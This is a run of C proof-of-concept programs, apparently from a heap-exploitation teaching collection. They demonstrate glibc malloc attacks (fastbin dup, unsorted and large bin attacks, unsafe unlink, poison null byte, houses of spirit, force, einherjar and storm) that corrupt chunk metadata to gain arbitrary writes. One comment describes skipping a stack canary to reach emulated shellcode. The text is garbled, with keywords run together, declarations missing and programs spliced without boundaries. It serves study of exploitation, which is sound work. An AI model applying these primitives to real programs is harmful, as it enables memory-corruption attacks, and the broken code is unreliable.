intmain() { fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n");
unsignedlonglong stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); unsignedlonglong *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d); fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); fprintf(stderr, "Now the free list has [ %p ].\n", a); fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" "so that malloc will think there is a free chunk there and agree to\n" "return a pointer to it.\n", a); stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); *d = (unsignedlonglong) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); fprintf(stderr, "4th malloc(8): %p\n", malloc(8)); }
intmain(){ fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"); fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n");
unsignedlong stack_var=0; fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
unsignedlong *p=malloc(400); fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p); fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with" "the first one during the free()\n\n"); malloc(500);
free(p); fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer " "point to %p\n",(void*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsignedlong)(&stack_var-2); fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
//------------------------------------
malloc(400); fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been " "rewritten:\n"); fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var); }
printf("Allocating the victim chunk\n"); intptr_t* victim = malloc(0x100);
printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n"); intptr_t* p1 = malloc(0x100);
printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); free(victim);
printf("Create a fake chunk on the stack"); printf("Set size for next allocation and the bk pointer to any writable address"); stack_buffer[1] = 0x100 + 0x10; stack_buffer[3] = (intptr_t)stack_buffer;
//------------VULNERABILITY----------- printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n"); printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n"); victim[-1] = 32; victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack //------------------------------------
printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]); char *p2 = malloc(0x100); printf("malloc(0x100): %p\n", p2);
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
intmain() { fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); malloc(1);
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); unsignedlonglong *a; // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) unsignedlonglong fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n"); free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); }
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); a = malloc(8); b = malloc(8); c = malloc(8); fprintf(stderr, "1st malloc(8): %p\n", a); fprintf(stderr, "2nd malloc(8): %p\n", b); fprintf(stderr, "3rd malloc(8): %p\n", c);
voidmain(){ // reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8 puts("This is a powerful technique that bypasses the double free check in tcachebin."); printf("Fill up the tcache list to force the fastbin usage...\n");
void* p1 = calloc(1,0x40);
printf("Allocate another chunk of the same size p1=%p \n", p1); printf("Freeing p1 will add this chunk to the fastbin list...\n\n"); free(p1);
void* p3 = malloc(0x400); printf("Allocating a tcache-sized chunk (p3=%p)\n", p3); printf("will trigger the malloc_consolidate and merge\n"); printf("the fastbin chunks into the top chunk, thus\n"); printf("p1 and p3 are now pointing to the same chunk !\n\n");
assert(p1 == p3);
printf("Triggering the double free vulnerability!\n\n"); free(p1);
void *p4 = malloc(0x400);
assert(p4 == p3);
printf("The double free added the chunk referenced by p1 \n"); printf("to the tcache thus the next similar-size malloc will\n"); printf("point to p3: p3=%p, p4=%p\n\n",p3, p4); }
intmain() { setbuf(stdout, NULL); printf("Welcome to unsafe unlink 2.0!\n"); printf("Tested in Ubuntu 14.04/16.04 64bit.\n"); printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"); printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x80; //we want to be big enough not to use fastbins int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n"); printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"); chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); uint64_t *chunk1_hdr = chunk1_ptr - header_size; printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); chunk1_hdr[0] = malloc_size; printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]); printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"); chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n"); free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); char victim_string[8]; strcpy(victim_string,"Hello!~"); chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); printf("Original value: %s\n",victim_string); chunk0_ptr[0] = 0x4141414142424242LL; printf("New Value: %s\n",victim_string);
printf("Welcome to poison null byte 2.0!\n"); printf("Tested in Ubuntu 16.04 64bit.\n"); printf("This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
printf("We allocate 0x100 bytes for 'a'.\n"); a = (uint8_t*) malloc(0x100); printf("a: %p\n", a); int real_a_size = malloc_usable_size(a); printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' " "(it may be more than 0x100 because of rounding): %#x\n", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00. * the least significant byte of this will be 0x10, because the size of the chunk includes * the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0x200);
printf("b: %p\n", b);
c = (uint8_t*) malloc(0x100); printf("c: %p\n", c);
barrier = malloc(0x100); printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n" "The barrier is not strictly necessary, but makes things less confusing\n", barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc // https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30 // this added check requires we are allowed to have null pointers in b (not just a c string) //*(size_t*)(b+0x1f0) = 0x200; printf("In newer versions of glibc we will need to have our updated size inside b itself to pass " "the check 'chunksize(P) != prev_size (next_chunk(P))'\n"); // we set this location to 0x200 since 0x200 == (0x211 & 0xff00) // which is the value of b.size after its first byte has been overwritten with a NULL byte *(size_t*)(b+0x1f0) = 0x200;
// this technique works by overwriting the size metadata of a free chunk free(b);
printf("b.size: %#lx\n", *b_size_ptr); printf("b.size is: (0x200 + 0x10) | prev_in_use\n"); printf("We overflow 'a' with a single null byte into the metadata of 'b'\n"); a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG" printf("b.size: %#lx\n", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2; printf("c.prev_size is %#lx\n",*c_prev_size_ptr);
// This malloc will result in a call to unlink on the chunk where b was. // The added check (commit id: 17f487b), if not properly handled as we did before, // will detect the heap corruption now. // The check is this: chunksize(P) != prev_size (next_chunk(P)) where // P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow) // next_chunk(P) == b-0x10+0x200 == b+0x1f0 // prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200 printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8)))); b1 = malloc(0x100);
printf("b1: %p\n",b1); printf("Now we malloc 'b1'. It will be placed where 'b' was. " "At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr); printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes " "before c.prev_size: %lx\n",*(((uint64_t*)c)-4)); printf("We malloc 'b2', our 'victim' chunk.\n"); // Typically b2 (the victim) will be a structure with valuable pointers that we want to control
printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
free(b1); free(c);
printf("Finally, we allocate 'd', overlapping 'b2'.\n"); d = malloc(0x300); printf("d: %p\n",d);
printf("Now 'd' and 'b2' overlap.\n"); memset(d,'D',0x300);
printf("New b2 content:\n%s\n",b2);
printf("Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks" "for the clear explanation of this technique.\n");
/* A simple tale of overlapping chunk. This technique is taken from http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf */
fprintf(stderr, "\nNow let's free the chunk p2\n"); free(p2); fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");
fprintf(stderr, "Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); fprintf(stderr, "For a toy program, the value of the last 3 bits is unimportant;" " however, it is best to maintain the stability of the heap.\n"); fprintf(stderr, "To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse)," " to assure that p1 is not mistaken for a free chunk.\n");
int evil_chunk_size = 0x181; int evil_region_size = 0x180 - 8; fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", evil_chunk_size, evil_region_size);
*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
fprintf(stderr, "\nNow let's allocate another chunk with a size equal to the data\n" "size of the chunk p2 injected size\n"); fprintf(stderr, "This malloc will be served from the previously freed chunk that\n" "is parked in the unsorted bin which size has been modified by us\n"); p4 = malloc(evil_region_size);
fprintf(stderr, "\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); fprintf(stderr, "p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8); fprintf(stderr, "p4 should overlap with p3, in this case p4 includes all p3.\n");
fprintf(stderr, "\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");
fprintf(stderr, "Let's run through an example. Right now, we have:\n"); fprintf(stderr, "p4 = %s\n", (char *)p4); fprintf(stderr, "p3 = %s\n", (char *)p3);
/* Yet another simple tale of overlapping chunk. This technique is taken from https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf. This is also referenced as Nonadjacent Free Chunk Consolidation Attack. */
intptr_t *p1,*p2,*p3,*p4,*p5,*p6; unsignedint real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6; int prev_in_use = 0x1;
fprintf(stderr, "\nThis is a simple chunks overlapping problem"); fprintf(stderr, "\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n"); fprintf(stderr, "\nLet's start to allocate 5 chunks on the heap:");
fprintf(stderr, "\n\nchunk p1 from %p to %p", p1, (unsignedchar *)p1+malloc_usable_size(p1)); fprintf(stderr, "\nchunk p2 from %p to %p", p2, (unsignedchar *)p2+malloc_usable_size(p2)); fprintf(stderr, "\nchunk p3 from %p to %p", p3, (unsignedchar *)p3+malloc_usable_size(p3)); fprintf(stderr, "\nchunk p4 from %p to %p", p4, (unsignedchar *)p4+malloc_usable_size(p4)); fprintf(stderr, "\nchunk p5 from %p to %p\n", p5, (unsignedchar *)p5+malloc_usable_size(p5));
fprintf(stderr, "\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n");
free(p4);
fprintf(stderr, "\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n");
fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n"); fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n"); free(p2);
fprintf(stderr, "\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n");
fprintf(stderr, "\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n"); fprintf(stderr, "\nchunk p6 from %p to %p", p6, (unsignedchar *)p6+real_size_p6); fprintf(stderr, "\nchunk p3 from %p to %p\n", p3, (unsignedchar *) p3+real_size_p3);
/* Credit to st4g3r for publishing this technique The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc() This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. */
printf("Welcome to House of Einherjar!\n"); printf("Tested in Ubuntu 16.04 64bit.\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
uint8_t* a; uint8_t* b; uint8_t* d;
printf("\nWe allocate 0x38 bytes for 'a'\n"); a = (uint8_t*) malloc(0x38); printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a); printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);
// create a fake chunk printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n"); printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n"); printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"); printf("(although we could do the unsafe unlink technique here in some scenarios)\n");
size_t fake_chunk[6];
fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin fake_chunk[2] = (size_t) fake_chunk; // fwd fake_chunk[3] = (size_t) fake_chunk; // bck fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
/* In this case it is easier if the chunk size attribute has a least significant byte with * a value of 0x00. The least significant byte of this will be 0x00, because the size of * the chunk includes the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0xf8); int real_b_size = malloc_usable_size(b);
printf("\nWe allocate 0xf8 bytes for 'b'.\n"); printf("b: %p\n", b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8); /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
printf("\nb.size: %#lx\n", *b_size_ptr); printf("b.size is: (0x100) | prev_inuse = 0x101\n"); printf("We overflow 'a' with a single null byte into the metadata of 'b'\n"); a[real_a_size] = 0; printf("b.size: %#lx\n", *b_size_ptr); printf("This is easiest if b.size is a multiple of 0x100 so you " "don't change the size of b, only its prev_inuse bit\n"); printf("If it had been modified, we would need a fake chunk inside " "b where it will try to consolidate the next chunk\n");
// Write a fake prev_size to the end of a printf("\nWe write a fake prev_size to the last %lu bytes of a so that " "it will consolidate with our fake chunk\n", sizeof(size_t)); size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size); *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
//Change the fake chunk's size to reflect b's new prev_size printf("\nModify fake chunk's size to reflect b's new prev_size\n"); fake_chunk[1] = fake_size;
// free b and it will consolidate with our fake chunk printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n"); free(b); printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
//if we allocate another chunk before we free b we will need to //do two things: //1) We will need to adjust the size of our fake chunk so that //fake_chunk + fake_chunk's size points to an area we control //2) we will need to write the size of our fake chunk //at the location we control. //After doing these two things, when unlink gets called, our fake chunk will //pass the size(P) == prev_size(next_chunk(P)) test. //otherwise we need to make sure that our fake chunk is up against the //wilderness
printf("\nNow we can call malloc() and it will begin in our fake chunk\n"); d = malloc(0x200); printf("Next malloc(0x200) is at %p\n", d); }
/* This PoC works also with ASLR enabled. It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled. If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum ( http://phrack.org/issues/66/10.html ) Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04 */
char bss_var[] = "This is a string that we want to overwrite.";
intmain(int argc , char* argv[]) { fprintf(stderr, "\nWelcome to the House of Force\n\n"); fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"); fprintf(stderr, "The top chunk is a special chunk. Is the last in memory " "and is the chunk that will be resized when malloc asks for more space from the os.\n");
fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var); fprintf(stderr, "Its current value is: %s\n", bss_var);
fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n"); intptr_t *p1 = malloc(256); fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);
fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"); int real_size = malloc_usable_size(p1); fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);
fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");
fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n"); fprintf(stderr, "Old size of top chunk %#llx\n", *((unsignedlonglongint *)((char *)ptr_top + sizeof(long)))); *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; fprintf(stderr, "New size of top chunk %#llx\n", *((unsignedlonglongint *)((char *)ptr_top + sizeof(long)))); //------------------------
fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n" "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n" "overflow) and will then be able to allocate a chunk right over the desired region.\n");
/* * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): * new_top = old_top + nb * nb = new_top - old_top * req + 2sizeof(long) = new_top - old_top * req = new_top - old_top - 2sizeof(long) * req = dest - 2sizeof(long) - old_top - 2sizeof(long) * req = dest - old_top - 4*sizeof(long) */ unsignedlong evil_size = (unsignedlong)bss_var - sizeof(long)*4 - (unsignedlong)ptr_top; fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); void *new_ptr = malloc(evil_size); fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
void* ctr_chunk = malloc(100); fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n"); fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk); fprintf(stderr, "Now, we can finally overwrite that value:\n");
fprintf(stderr, "... old string: %s\n", bss_var); fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n"); strcpy(ctr_chunk, "YEAH!!!"); fprintf(stderr, "... new string: %s\n", bss_var);
assert(ctr_chunk == bss_var);
// some further discussion: //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n"); //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size " // "and we \nwant to set this result to the address of malloc_got_address-8\n\n"); //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n"); //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n"); //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header )," // "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2); //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n"); }
/* This technique is taken from https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/ [...] else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; [...] mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; For more details on how large-bins are handled and sorted by ptmalloc, please check the Background section in the aforementioned link. [...] */
intmain() { fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n"); fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n");
fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n"); fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1); fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsignedlong *p1 = malloc(0x420); fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" " the first large chunk during the free()\n\n"); malloc(0x20);
unsignedlong *p2 = malloc(0x500); fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" " the second large chunk during the free()\n\n"); malloc(0x20);
unsignedlong *p3 = malloc(0x500); fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with" " the third large chunk during the free()\n\n"); malloc(0x20);
free(p1); free(p2); fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
malloc(0x90); fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the" " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation" ", and reinsert the remaining of the freed first large chunk into the unsorted bin:" " [ %p ]\n\n", (void *)((char *)p1 + 0x90));
free(p3); fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\"" " as well as its \"bk\" and \"bk_nextsize\" pointers\n"); fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk" " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and" " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist." " During this time, targets should have already been rewritten:\n");
/* POC for House of Storm on 2.23 For 2.26-2.28, the tcache will need to be full for this to work. After this, a patch to the unsorted bin attack likely prevents this technique from working. This technique uses a combination of editing the unsorted bin chunk and the large bin chunks to write a 'size' to a user choosen address in memory. Once this has occurred, if the size at this 'fake' location is the same size as the allocation, then the chunk will be returned back to the user. This attack allows arbitrary chunks to be returned to the user! Written by Maxwell "Strikeout" Dulin */
// Get the AMOUNT to shift over for size and the offset on the largebin. // Needs to be a valid minimum sized chunk in order to work. intget_shift_amount(char* pointer){
int shift_amount = 0; longlong ptr = (longlong)pointer;
puts("House of Storm"); puts("======================================"); puts("Preparing chunks for the exploit"); puts("Put one chunk into unsorted bin and the other into the large bin"); puts("The unsorted bin chunk MUST be larger than the large bin chunk."); /* Putting a chunk into the unsorted bin and another into the large bin. */ unsorted_bin = malloc ( 0x4e8 ); // size 0x4f0
// prevent merging malloc ( 0x18 );
puts("Find the proper chunk size to allocate."); puts("Must be exactly the size of the written chunk from above."); /* Find the proper size to allocate We are using the first 'X' bytes of the heap to act as the 'size' of a chunk. Then, we need to allocate a chunk exactly this size for the attack to work. So, in order to do this, we have to take the higher bits of the heap address and allocate a chunk of this size, which comes from the upper bytes of the heap address. NOTE: - This does have a 1/2 chance of failing. If the 4th bit of this value is set, then the size comparison will fail. - Without this calculation, this COULD be brute forced. */ int shift_amount = get_shift_amount(unsorted_bin); printf("Shift Amount: %d\n", shift_amount);
size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount); if(alloc_size < 0x10){ printf("Chunk Size: 0x%lx\n", alloc_size); puts("Chunk size is too small"); exit(1); } alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove the size bits printf("In this case, the chunk size is 0x%lx\n", alloc_size);
// Checks to see if the program will crash or not /* The fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first. Additionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438 validates to see if ONE of the following cases is true: - av == arena_for_chunk (mem2chunk (mem)) - chunk is mmaped If the 'non-main arena' bit is set on the chunk, then the first case will fail. If the mmap bit is set, then this will pass. So, either the arenas need to match up (our fake chunk is in the .bss section for this demo. So, clearly, this will not happen) OR the mmap bit must be set. The logic below validates that the fourth bit of the size is NOT set and that either the mmap bit is set or the non-main arena bit is NOT set. If this is the case, the exploit should work. */ if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){ puts("Allocation size has bit 4 of the size set or "); puts("mmap and non-main arena bit check will fail"); puts("Please try again! :)"); puts("Exiting..."); return1;
// FIFO free ( large_bin ); // put small chunks first free ( unsorted_bin );
